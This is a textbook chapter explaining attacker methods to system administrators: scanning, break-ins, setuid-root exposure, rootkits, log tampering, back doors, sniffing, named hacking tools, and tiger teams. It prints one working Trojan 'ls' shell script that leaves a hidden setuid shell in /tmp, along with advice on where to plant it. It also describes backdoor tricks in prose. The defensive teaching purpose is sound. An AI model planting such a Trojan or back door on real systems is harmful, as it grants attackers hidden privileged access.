

6

The Hacker's Workbench, and Other Munitions

It's a poor atom blaster that doesn't point both ways.

Salvor Hardin in *Foundation*
—ISAAC ASIMOV

6.1 Introduction

This chapter describes some hacking tools and techniques in some detail. Some argue that these techniques are best kept secret, to avoid training a new generation of hackers. We assert that many hackers already know these techniques, and many more (see Sidebar).

System administrators need to know the techniques and tools used in attacks to help them detect and deal with attacks. More importantly, the network designer needs to know which security efforts are most likely to frustrate an attacker. Much time and money is wasted tightening up some area that is not involved in most attacks, while leaving other things wide open.

We believe it is worthwhile to describe the techniques used because an informed system administrator has a better chance to beat an informed hacker. Small defensive measures can frustrate elaborate and sophisticated attacks. In addition, many of these tools are useful for ordinary maintenance, tiger-team testing, and legitimate hardening of a network by authorized administrators.

While most of the tools we discuss originated on UNIX platforms, the programs are often distributed in source code form, and many have been ported to Windows (e.g., *nmapNT* from eEye Digital Security). For the hackers, the same *class of service* is now available from virtually any platform.



Should We Talk About Security Holes? An Old View

A commercial, and in some respects a social, doubt has been started within the last year or two, whether or not it is right to discuss so openly the security or insecurity of locks. Many well-meaning persons suppose that the discussion respecting the means for baffling the supposed safety of locks offers a premium for dishonesty, by showing others how to be dishonest. This is a fallacy. Rogues are very keen in their profession, and already know much more than we can teach them respecting their several kinds of roguery. Rogues knew a good deal about lockpicking long before locksmiths discussed it among themselves, as they have lately done. If a lock—let it have been made in whatever country, or by whatever maker—is not so inviolable as it has hitherto been deemed to be, surely it is in the interest of *honest* persons to know this fact, because the *dishonest* are tolerably certain to be the first to apply the knowledge practically; and the spread of knowledge is necessary to give fair play to those who might suffer by ignorance. It cannot be too earnestly urged, that an acquaintance with real facts will, in the end, be better for all parties.

Some time ago, when the reading public was alarmed at being told how London milk is adulterated, timid persons deprecated the exposure, on the plea that it would give instructions in the art of adulterating milk; a vain fear—milk men knew all about it before, whether they practiced it or not; and the exposure only taught purchasers the necessity of a little scrutiny and caution, leaving them to obey this necessity or not, as they pleased.

... The unscrupulous have the command of much of this kind of knowledge without our aid; and there is moral and commercial justice in placing on their guard those who might possibly suffer therefrom. We employ these stray expressions concerning adulteration, debasement, roguery, and so forth, simply as a mode of illustrating a principle—the advantage of publicity. In respect to lock-making, there can scarcely be such a thing as dishonesty of intention: the inventor produces a lock which he honestly thinks will possess such and such qualities; and he declares his belief to the world. If others differ from him in opinion concerning those qualities, it is open to them to say so; and the discussion, truthfully conducted, must lead to public advantage: the discussion stimulates curiosity, and curiosity stimulates invention. Nothing but a partial and limited view of the question could lead to the opinion that harm can result: if there be harm, it will be much more than counterbalanced by good.

Rudimentary Treatise on the Construction of Locks, 1853

—CHARLES TOMLINSON

6.2 Hacking Goals

Though it may be difficult to break into a host, it is generally easy to break into a given site if there are no perimeter defenses. Most sites have many hosts, which share trust: They live in the same security boat. Internet security relies on a long chain of security assumptions, and the attacker need only find the weakest link. A generic hacker has the following goals:

1. Identify targets with a network scan
2. Gain access to the proper host or hosts
3. Gain control of those hosts (i.e., *root* access for a UNIX system)
4. Cover evidence of the break-in
5. Install back doors to facilitate future re-entry and
6. Repeat the preceding steps for other hosts that trust the “owned” host

The hardest step for the hacker is the second, and it is where we concentrate most of our security efforts. Often an exploit used in Step 2 gives the Bad Guy control of the host (Step 3) without further effort. This is why we strip all network services we can off a host (see Section 14.4.) It is also why we install firewalls: to try to limit access to network services that might be insecure.

6.3 Scanning a Network

Obscurity should not be the sole basis of your security, but rather one of many layers. An attacker needs to learn about your networks, your hosts, and network services. The most direct way is to scan your network and your hosts. An attacker can locate hosts directly, through network scanners, and indirectly, perhaps from DNS or inverse DNS information. They may find targets in the host files on other machines, from chat rooms, or even in newspaper reports.

Numerous programs are available for host and port scanning. The simplest ones are nearly trivial programs, easily written in a few lines of Perl or C. An intrusion detection system of any sort easily detects these scans, so they are run from stolen accounts on hacked computers.

ICMP pings are the most common host detection probes, but firewalking packets (see Section 11.4.5) may reach more hosts. And be consistent: One major military network we know blocked pings to some of its networks, but allowed in UDP packets in the *traceroute* port range.

An attacker may scan an entire net host by host—the Internet equivalent of war dialing for the phone system—or they may send directed broadcast packets. Directed broadcasts are more efficient, but are often blocked because of Smurf attacks. Scans can be much slower and more subtle to avoid detection. There are numerous scanning tools; see Table 6.1.

Once located, hosts may be fingerprinted to determine the operating system, version, and even patch level. These programs examine idiosyncrasies of the TCP/IP stack—and we have heard reports that they can crash some hosts. Fingerprinting programs use arcane details that were once

Table 6.1: Some Common Scanning Tools

Tool	Networks	Ports	Fingerprint
<i>nmap</i>	X	X	X
<i>fping</i>	X		
<i>hping</i>	X		
<i>pinger</i>	X		
<i>queso</i>			X
<i>strobe</i>	X	X	

of interest only to the propeller-heads who wrote TCP/IP stacks. Now they have actually helped improve the security and robustness of some of this software.

Hosts are also scanned for active ports. They seek active network services, and often identify the server software and versions. Port scanners can be very subtle. For example, if they send a TCP SYN packet, but follow the computer's response with an RST to clear the connection instead of sending an ACK to complete the three-way handshake, a normal kernel will not report the connection attempt to a user-level program. A simple alarm program in `/etc/inetd.conf` will miss the probe, but the attacker can use the initial response to determine if the port has a listener, available for further probes.

Carefully crafted TCP packets can also probe some firewalls without creating log entries. It is important that packet monitoring systems log packets, not just completed connections, to make sure they detect everything. Table 6.1 lists port scanners, too.

6.4 Breaking into the Host

There are three approaches to breaking into a host from the Internet:

- Exploit a security hole in the network services offered by the host
- Duplicate the credentials of an authorized user or
- Hijack an existing connection to the host

In the early days of the Internet, the first two were most common; now we see all three. There are other ways to break into machines, such as social engineering or gaining physical access to the console or host itself. One paper [Winkler and Dealy, 1995] describes a typical approach using a corporate telephone directory.

Security flaws are numerous. They are announced by various CERT organizations and vendors, usually without details. Other groups, such as Bugtraq, include detailed descriptions and "exploits" (also known as "splits"), programs that exercise the flaw. The hacking community discovers their own security holes as well, and sometimes exchanges them like baseball cards.

We have found a number of problems ourselves over the years. Some were well-known from the start, like the ability to sniff Ethernets for passwords. Others have been found during code reviews. Andrew Gross discovered an unknown buffer overflow problem in *rstatd* and installed a modification to detect an exploit. Eighteen months later, the alarm went off.

Though a security hole may be technically difficult to exercise, exploits are often engineered for simplicity of use. These tools can be used by *script kiddies*, people who run them with little knowledge of the underlying security hole. We heard of one attacker who broke into a UNIX system and started typing Microsoft DOS commands!

Passwords can be sniffed or guessed, and other authentication failures can be exploited to break into a host. Sniffing programs include *tcpdump*, *dsniff*, and *radiusniff*; the better ones include protocol analyzers that extract just the logins and passwords from raw packet dumps.

6.5 The Battle for the Host

We have a good chance of stopping most intrusions at the network services point. If they get past the network service, and gain access to an account on the host, it appears to be difficult to keep them from getting *root* access. Of course, often the network break-in yields *root* or *Administrator* access in the first place.

Why this pessimism? There are two reasons: both UNIX and Windows are administrative nightmares, and many programs must run with privileges. Like the many network servers, each of these programs may have weaknesses that let a skilled attacker gain access. We can't do more than sketch some common flaws here; for more details, see books such as [Nemeth *et al.*, 2000] or [Limoncelli and Hogan, 2001].

What are the typical administrative problems? Files may have inappropriate write permission, allowing users to meddle in the affairs of the system administrator. Inappropriate execution PATHs or inappropriate DLLs may allow someone to induce the execution of unintended code.

Writable `bin` directories are an obvious place to install Trojan programs such as this version of *ls*:

```
#!/bin/sh
cp /bin/sh /tmp/.gift
chmod 4777 /tmp/.gift
rm $0
ls $*
```

This creates a copy of a shell that is `setuid` to the targeted user. The shell is in a place where it isn't likely to be detected: The leading `."` in `.gift` hides it from normal listing by *ls*. The Trojan is removed after it is run, and the last statement gives the expected output. This is a good program to install in a well-used directory, if `."` appears early in the target's PATH.

Such a Trojan may not replace a real program. One can take advantage of typing errors. For example, the aforementioned program is eventually deadly when given the name `ls-l`, because at some point, someone will leave out the space when trying to type `ls -l`.

Sometimes administrators open temporary holes for convenience (such as making a configuration file world-writable) and forget to close them when they are done.

Table 6.2: The counts reported for the command

```
find / -perm -4000 -user root -print | wc -l
```

run on a number of UNIX-like systems. Counts may include third-party packages. The number of actual programs are somewhat fewer, as several filenames may be linked to a single binary.

System	Files	Comments
AIX 4.2	242	a staggering number
BSD/OS 3.0	78	
FreeBSD 4.3	42	someone's guard machine
FreeBSD 4.3	47	2 appear to be third-party
FreeBSD 4.5	43	see text for closer analysis
HPUX A.09.07	227	about half may be special for this host
Linux (Mandrake 8.1)	39	3 appear to be third-party
Linux (Red Hat 2.4.2-2)	39	2 third-party programs
Linux (Red Hat 2.4.7-10)	31	2 third-party programs
Linux (Red Hat 5.0)	59	
Linux (Red Hat 6.0)	38	2-4 third-party
Linux 2.0.36	26	approved distribution for one university
Linux 2.2.16-3	47	
Linux 7.2	42	
NCR Intel 4.0v3.0	113	34 may be special to this host
NetBSD 1.6	35	
SGI Irix 5.3	83	
SGI Irix 5.3	102	
Sinux 5.42c1002	60	2 third-party programs
Sun Solaris 5.4	52	6 third-party programs
Sun Solaris 5.6	74	11 third-party programs
Sun Solaris 5.8	70	6 third-party programs
Sun Solaris 5.8	82	6 third-party programs
Tru64 4.0r878	72	

6.5.1 Setuid *root* Programs

Setuid is a feature of the UNIX kernel that causes a program to run as the owner of the file containing the program, with all of that user's privileges, regardless of which user executes it. How many setuid-*root* programs do UNIX-style systems have? Table 6.2 shows a survey of several UNIX-like systems run over the past ten years. The smallest number was found on a system especially engineered and approved for distribution at a university. They had clearly spent a lot of time cleaning up their operating system.

Figure 6.1 shows a list of setuid-*root* programs found on one system. This list is simply too long. The number ought to be less than ten, which would make the engineering task simpler,

```

/usr/bin/at          /usr/bin/passwd    /usr/sbin/timedc
/usr/bin/atq        /usr/bin/yppasswd  /usr/sbin/traceroute
/usr/bin/atrm       /usr/bin/quota     /usr/sbin/traceroute6
/usr/bin/batch      /usr/bin/rlogin    /usr/sbin/ppp
/usr/bin/chpass     /usr/bin/rsh       /usr/sbin/pppd
/usr/bin/chfn       /usr/bin/su        /usr/X11R6/bin/xterm
/usr/bin/chsh       /usr/bin/crontab   /usr/X11R6/bin/XFree86
/usr/bin/ypchpass   /usr/bin/lpq       /bin/rcp
/usr/bin/ypchfn     /usr/bin/lpr       /sbin/ping
/usr/bin/ypchsh     /usr/bin/lprm      /sbin/ping6
/usr/bin/keyinfo    /usr/bin/k5su      /sbin/route
/usr/bin/keyinit    /usr/sbin/mrinfo   /sbin/shutdown
/usr/bin/lock       /usr/sbin/mtrace   /usr/libexec/sendmail/sendmail
/usr/bin/login      /usr/sbin/sliplogin

```

Figure 6.1: Setuid-root files found on a FreeBSD 4.5 installation

though still hard. Many of these routines have been the stars of various security alerts over the past two decades. Figure 6.2 lists some that are probably unneeded, and why.

This edit gets us down to 17 key files, of which several are synonyms for common binaries, i.e., they are linked to a single program. The remaining list contains vital programs ranging from the small and relatively well tested by time (*su*) to huge, complex systems such as *X11*, which should be invoked with the smaller, safer *Xwrapper* program.

Of course, this is the wrong approach. Don't remove the programs you don't want; limit installation to those you do. Bastion machines can run just fine with the following:

```

/usr/bin/login
/usr/bin/passwd
/usr/bin/su

```

The Bad Guys exchange extensive lists of security holes for a wide range of programs and systems in many versions. It often takes several steps to become *root*. In Chapter 16, we see Berferd break into a host, use *sendmail* to become *uucp* or *bin*, and then become *root* from there.

It is not easy to write a secure setuid program. There are subtle problems in creating temporary files, for example—race conditions can allow someone to exchange or manipulate these files. The semantics of the *setuid* and *setgid* system calls vary [Chen *et al.*, 2002], and there are even dangers to temporarily *lowering* security privileges.

6.5.2 Rootkit

One of the earliest program suites to help gain *root* access from a shell account was called *rootkit*. This name has expanded to refer to numerous programs to acquire and keep *root* access. This is an ongoing arms race, and programs such as *rkdet* detect and report the attempted installation of these tools.

Programs	Needs <i>root</i> ?	Comments
<i>chpass, chfn, chsh</i>	yes	User control of GECOS information. Dangerous, but keep.
<i>ypchpass, ypchfn, ypchsh, yppasswd</i>	yes	Some are links to <i>chpass</i> , for yellow pages. Even though it is the same program, we don't run or recommend NIS. Remove.
<i>keyinfo, keyinit</i>	yes	SKey tools. Useful, but only run if you need S/Key.
<i>lock</i>	no?	Dangerous screen lock. Lock can help, but fake locks can reap passwords.
<i>quota</i>	yes	Most clients are single-user hosts. They usually don't need quotas.
<i>rlogin, rsh, rcp</i>	yes	Dangerous protocol; why have its program around?
<i>lpq, lpr, lprm</i>	no	You shouldn't need <i>root</i> to access the print queues.
<i>k5su</i>	no	Not needed if you do not run Kerberos
<i>sendmail</i>	?	Historic bearer of security holes. We run <i>postfix</i> , so why have this binary around?
<i>mrinfo, mtrace</i>	yes	They need <i>root</i> , but we don't need them unless we as using multicast.
<i>sliplogin</i>	yes	SLIP isn't used much anymore; replaced by <i>ppp</i> .
<i>timedc</i>	yes	Use <i>ntpdate</i> and/or <i>ntp</i>
<i>route, shutdown</i>	no	Not clear why these are available to users other than <i>root</i>
<i>ping6, traceroute6</i>	yes	Not needed if you aren't running IPv6

Figure 6.2: Some *setuid-root* routines we probably don't need.

COPS [Farmer and Spafford, 1990] is a useful package that can help find simple administrative mistakes, and identify some old holes. There are newer scanners that do similar things. These work for the hacker, too. They can point out security holes in a nice automated fashion. Many hackers have lists of security holes, so *COPS*' sometimes oblique suggestions can be translated into the actual feared security problem.

6.6 Covering Tracks

After an attack succeeds, most attackers immediately cover their tracks. Log files are adjusted, hacking tools are hidden, and back doors are installed, making future re-invasions simple. Rootkit has a number of tools to do this, and many others are out there.

All hackers have tools to hide their presence. The most common tool is *rm*, and it is used on *syslog*, *utmp*, and *utmpx* files. It's a bad sign if a log file suddenly gets shorter.

The *utmp* file keeps a record of which accounts log in to a host, and the source machine. This is where the *who* command gets its information. There are editors for the *utmp* file. An entry

can be zeroed, and the intruder vanishes from the *who* listing. It's a simple job, and we have seen dozens of different programs that do this. Many will also adjust *wtmp* and *lastlog* as well. The *utmp* file is sometimes world-writable, making this step easy.

Hackers often hide information in files and directories whose names begin with “.” or have unprintable control characters or spaces in them. A filename of “. . .” is easy to overlook, too.

6.6.1 Back Doors

Once *root* access is gained, attackers usually install new, more reliable access holes to the host. They may even fix the security hole that they first used, to deny access by other hackers.

These holes are many and varied. *Inetd*, which runs as *root*, may suddenly offer a new TCP service. *Telnetd* may skip the login and password checks if the *TERM* environment variable is set to some special, innocuous string. This string might be unexceptional when listed by the *strings* command, such as

```
$FreeBSD: src/usr.sbin/inetd/inetd.c,v 1.80.2.5 2001/07/17 10:45:03 dwmalone
```

which was required in the incoming *TERM* environment variable for a Trojan-horsed version of *telnetd*. We've also seen a *telnetd* daemon that is activated when a certain UDP packet is received. This could use public key cryptography to validate the UDP packet! The *ps* command may omit certain processes in a process list. A rogue network daemon may show the name “[zombie]” in a *ps* listing, looking like a program that is going away.

Another way to install a backdoor is to alter the kernel. Loadable modules exist for many hacking purposes, such as recording a user's keystrokes. One of the cleverest is to supply different files for *open* and *exec* access to the same filename. If a binary file is read by, for example, a checksum routine, it will be given the proper, unmodified binary. If a file with the same name is executed, some other binary is run. This can avoid detection no matter how good your checksum algorithm is. A sabotaged version of *init* was accessed *only* when it was process 1.

Shared libraries are often modified to make hacking easier. A command like *login* calls a library routine to verify a password. A modified library routine might record the password attempt, and always accept a string like *doodz* as valid. (The actual strings are usually unprintable.)


All of these scenarios show the mischief that happens once you lose control of your system—nothing can be trusted. It can be nearly impossible to wipe out all these things and cleanse the system. Checksums must be run from a trusted kernel, probably by booting off a floppy or utilizing a secure boot protocol [Arbaugh *et al.*, 1997]. The best way to recover is to copy all the desired text and data files *that cannot be executed* onto a freshly installed system.

6.7 Metastasis

Once a weak computer is compromised, it is usually easy to break into related hosts. Often, these computers already trust one another, so login is easy with a program like *rlogin*.

But the captured host also enables sniffing access to the local LAN. Hackers install sniffers to record network traffic. On a traditional Ethernet, they can watch sessions from many adjacent hosts. Even if the host is on a switched network, its own traffic can be sniffed.

New kernel modules can capture keystrokes, recording passwords and other activity. Shared libraries are modified to record password attempts. Once the trusted computing base falls, all is lost.

 Sometimes machines will be penetrated but untouched for months. The Trojan horse programs may quietly log passwords, NFS file handles, and other information. (Often, the intrusion is noticed when the file containing the logged passwords grows too big and is noticed in the disk usage monitors. We've since seen hacking tools that forward this information, rather than store it on the target machine.) Some sniffers encrypt their data, and send it off to other hosts for harvesting.

6.8 Hacking Tools

Here's your crowbar and your centrebit,
Your life-preserver—you may want to hit!
Your silent matches, your dark lantern seize,
Take your file and your skeletal keys.

Samuel in *The Pirates of Penzance or The Slave of Duty*
—W. S. GILBERT

Hackers make their own collections of hacking tools and notes. They find these collections on the Internet, and the bright ones may write their own. These collections are often stored on hard drives in their homes—sometimes they are encrypted, or protected by some sort of software panic button that thoroughly erases the data if they see law enforcement officials walking toward their front door.

Others store their tools on machines that they've hacked into. System administrators often find large collections of these tools when they go to clean up the mess.

A number of hacking Web sites and FTP collections contain numerous tools, *frequently asked questions (FAQ)*, and other hacking paraphernalia.

We have been criticized that many of the attacks we describe are “theoretical,” and not likely to actually occur. The hackers have a name for people with such an opinion: *lamerz*. Most attacks that were theoretical ten years ago have appeared in the wild since then. Few attacks have been completely unanticipated.

Sometimes these various collections get indexed by Web search engines. If you know the name of a typical tool, you can quickly find your way into the hacker underground on the Internet. For example, *rootkit* is an old collection of tools to gain *root* access on a UNIX host from a normal user account on the host. Many consider this set of tools to be “lame.”

For our purposes, “rootkit” is a unique keyword. If you search for it using Google or the like, you will quickly locate many archives of hacking tools. Visiting any one of these archives provides other, more interesting keywords. You will find programs such as *nuke.c* (an ICMP attack) and *ensniff.c*, one of many Ethernet sniffers.

There are several controversies about these tools. They point out security problems, which is dangerous knowledge. The less ethical tools can even automate the exploit of these holes. And

some holes cannot be detected from an external host without actually exploiting them. This is a ticklish matter. There is always a danger when running an exploit that the target system will be damaged in some way. The hacker may not care; the ethical administrator certainly will.

Nevertheless, if we trust the “intentions” of such a program, we would probably want to run such dangerous audits against our own hosts. A well-designed exploit is unlikely to do any damage, and we are often keen to identify weaknesses that the Bad Guys may exploit.

It is generally agreed that it is unethical to run dangerous tests against other people’s computers. Is it unethical to run a benign scanner on such hosts? Many would say yes, but aren’t there valid research and statistical uses for general vulnerability information? Dan Farmer ran such a benign scan of major Web sites [Farmer, 1997], with interesting and useful results.

He found that a surprising number of very public Web sites had apparently glaring security holes. This is an interesting and useful result, and we think Dan’s scan was ethical, based on the intentions of the scanning person. The problem is that it is hard to divine the intentions of the scanner from the scanned host.

6.8.1 Crack—Dictionary Attacks on UNIX Passwords

One of the most widely used tools is *crack*, written by Alec Muffett [Muffett, 1992]. *Crack* performs a strong dictionary attack on UNIX password files. It comes with a number of dictionaries, and tries many permutations and variations of the personal information found in the password file itself. For example, username *ches* might have a password of *chesches*, *chessehch*, *sehchsehch*, and so on. *Crack* tries these combinations, and many more.

Many similar programs are out there for use on UNIX, the Microsoft PPTP authentication (*l0phtcrack*), PGP keyrings, and so on. Any program needed for a dictionary attack is out there.

6.8.2 *Dsniff*—Password Sniffing Tool

Switch becomes hub, sniffing is good.

—DUG SONG

Dsniff is a general-purpose sniffing tool written by Dug Song. It understands a number of different services that transmit password information in the clear, plus others if you give it the appropriate key. Here’s the list of programs, from the man page:

dsniff is a password sniffer which handles FTP, telnet, SMTP, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, cvs, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, SMB, Oracle SQL*Net, Sybase and Microsoft SQL protocols.

Many conferences run open wireless networks with Internet connectivity these days—a substantial convenience. But even at security conferences, *dsniff* catches a surprising range of passwords, some obviously not intended to be guessable.

Strong encryption, such as found in IPsec, *ssh* (we hope), and SSL completely foils sniffing, but sometimes it can be inconvenient to use, or tunnels may not be used properly. For some

systems (like your *New York Times* password), you may choose to use a junk password you don't care about, but make sure you don't use that password elsewhere.

6.8.3 *Nmap*—Find and Identify Hosts

We mentioned *nmap* earlier. It has an extensive database of TCP/IP stack idiosyncrasies for many versions of various operating systems. If you point it to a system it doesn't recognize, it displays the new fingerprint and asks to submit it to the database managers, to appear in future versions.

The database can be quite useful on its own—companies are quite interested in inventory and version control, and *nmap* has the best database we know of for *host fingerprinting*, or identifying the operating system and version from afar. It does need to find closed and open TCP ports to help identify a host. A safe host of the kind we recommend can have such restricted responses to network accesses that *nmap* does not perform well. In addition, there are now programs, such as *iplog* [Smart *et al.*, 2000] and *honeyd* [Spitzner, 2002], that will deceive *nmap* and other scanners about the operating system you are running. This can be useful for honeypots and similar projects.

It has been reported that *nmap* probes have crashed some versions of Microsoft Windows, and many stacks embedded in devices like hubs and printers. This limits the value of *nmap* for auditing important networks. Many network administrators have been burnt by *nmap* and won't run it.

6.8.4 *Nbaudit*—Check NetBIOS Share Information

Nbaudit (also called *nat*, unfortunately) retrieves information from systems running NetBIOS file and printer sharing services. It can quickly find hosts with shared disks and printers that have no password protection. It also tries a list of common usernames, which unfortunately is often successful.

6.8.5 *Juggernaut*—TCP Hijack Tool

Until the mid-1990s, TCP hijacking was a theoretical attack. We knew practical attacks were coming, but the tools hadn't been written. In 1995, Joncheray [1995] described in detail how to do it; in early 1997, *Phrack* released the source code for *Juggernaut* [daemon9, 1997]. As with many hacking tools, the user doesn't really need to know the details of the attack. In fact, an interactive mode enables the attacker to watch a number of TCP sessions at once.

The program permits eavesdropping, of course. It can also let you substitute text in specific packets, or hijack the session while running a daemon that suppresses the original user. To that user, it appears that the Internet is down, again. It would be illogical to suspect that an attack is occurring unless there is other evidence: TCP connections go away quite often. Storms of ACK packets might be noticed, but those aren't visible to end-users.

The attacker does need to run this program on a host that has access to the packet flow, usually near one of the endpoints. Suitable hosts are rare near the main packet flows in the "middle" of the Internet, and the packet rates are probably too high.

Sessions can be hijacked after authentication is completed—which renders the authentication useless. Good encryption completely frustrates this tool and all TCP hijacking attacks.

6.8.6 *Nessus*—Port Scanning

The first port scanner we are aware of was a set of shell scripts written by Mike Muus around 1988. ISS followed in the early 1990s, and then SATAN. Now *Nessus* is available from <http://www.nessus.org>. The network and host probes are run by a server, to which clients may connect from afar. Public key encryption and user accounts are used to restrict these connections.

The various tests *nessus* uses are modularized; and new tests are created often and are available for download. Like the fingerprint descriptions for *nmap*, these modules make it easy to extend and expand the capabilities.

6.8.7 DDoS Attack Tools

Trinoo is a set of tools for performing distributed denial-of-service attacks. There is a command program that can issue attack or even update instructions to zombie programs installed on a wide variety of hosts. The communications can be encrypted, and the command node's instructions sent with a spoofed address to make traceback difficult. A number of other programs with similar capabilities are available.

DDoS attacks are discussed further in Section 5.8.3.

6.8.8 Ping of Death—Issuing Pathological Packets

This program was one of the first to attack hosts by sending pathological TCP/IP packets. This particular attack involved sending packets longer than the maximum length expected by the software. Fragmentation packet processing was used to confuse the software.

There are many other programs with similar goals. TCP/IP is quite complicated and there are only a few original implementations of it.

6.8.9 Virus Construction Kits

There are a wide variety of virus construction kits. Some are so sophisticated, we are surprised that they don't come with user help lines and shrink-wrap agreements.

Most kits include a GUI of some sort, and a variety of options: what kind of virus to create, when it should be activated, how it is transported, and so on. All the popular virus transports are available: Word macros, boot sectors, palmtop downloads, to name just a few. Polymorphism and encryption are options as well.

If you wish to experiment with these, we advise great caution. Isolated nets and virtual machines are your friends.

6.8.10 Other Tools

We mention a few tools in this chapter, but they are mostly samples. More are easy to find with any decent search engine. Be careful what you run: this software wasn't written by saints.

There are books such as [McClure *et al.*, 2001] that cover the techniques discussed in this chapter in great detail. In addition, some of the standard network management tools discussed in Section 8.4 are useful for hacking as well.

Would You Hire a Hacker?

Not all hackers break into systems just for the fun of it. Some do it for profit—and some of these are even legitimate.

One article [Violino, 1993] described a growing phenomenon: companies hiring former—and sometimes convicted—hackers to probe their security. The claim is that these folks have a better understanding of how systems are *really* penetrated, and that more conventional tiger teams often don't practice *social engineering* (talking someone out of access information), *dumpster diving* (finding sensitive information in the trash), and so on.

Naturally, the concept is quite controversial. There are worries that these hackers aren't really reformed, and that they can't be trusted to keep your secrets. There are even charges that some of these groups are double agents, actually engaging in industrial espionage.

There's another point worth mentioning: The skills necessary to break in to a system are not the same as the skills to secure one. Certainly, there is overlap, just as the people who perform controlled implosions of buildings need a knowledge of structural design. But designing an elegant, usable building requires far more knowledge of design and aesthetics, and far less about *plastique*.

We do not claim sufficient wisdom to answer the question of whether hiring hackers is a good idea. We do note that computer intrusions represent a failure in ethics, a failure in judgment, or both. The two questions that must be answered are which factor was involved, and whether the people involved have learned better. In short—can you trust them? There is no universal answer to that question.

6.9 Tiger Teams

It is easy for an organization like a corporation to overlook the importance of security checks such as these. Institutional concern is strongly correlated with the history of attacks on the institution.

The presence of a tiger team helps assure system administrators that their hosts will be probed. We'd like to see rewards to the tiger team *paid by their victims* for successful attacks. This provides incentive to invade machines, and a sting on the offending department. This requires support from high places. In our experience, upper management often tends to support the cause of security more than the users do. Management sees the danger of not enough security, whereas the users see the pain and loss of convenience.

Even without such incentives, it is important for tiger teams to be officially sponsored. Poking around without proper authorization is a risky activity, especially if you run afoul of corporate politics. Unless performing clandestine intrusions is your job, notify the target first. (But if you receive such a notification, call back. What better way than forged e-mail to hide an attempt at a

real penetration?) Apart from considerations like elementary politeness and protecting yourself, cooperation from the remote administrator is useful in understanding exactly what does and does not work. It is equally important to know what the administrator notices—or doesn't notice. Section 11.5.1 discusses tiger teams in further detail.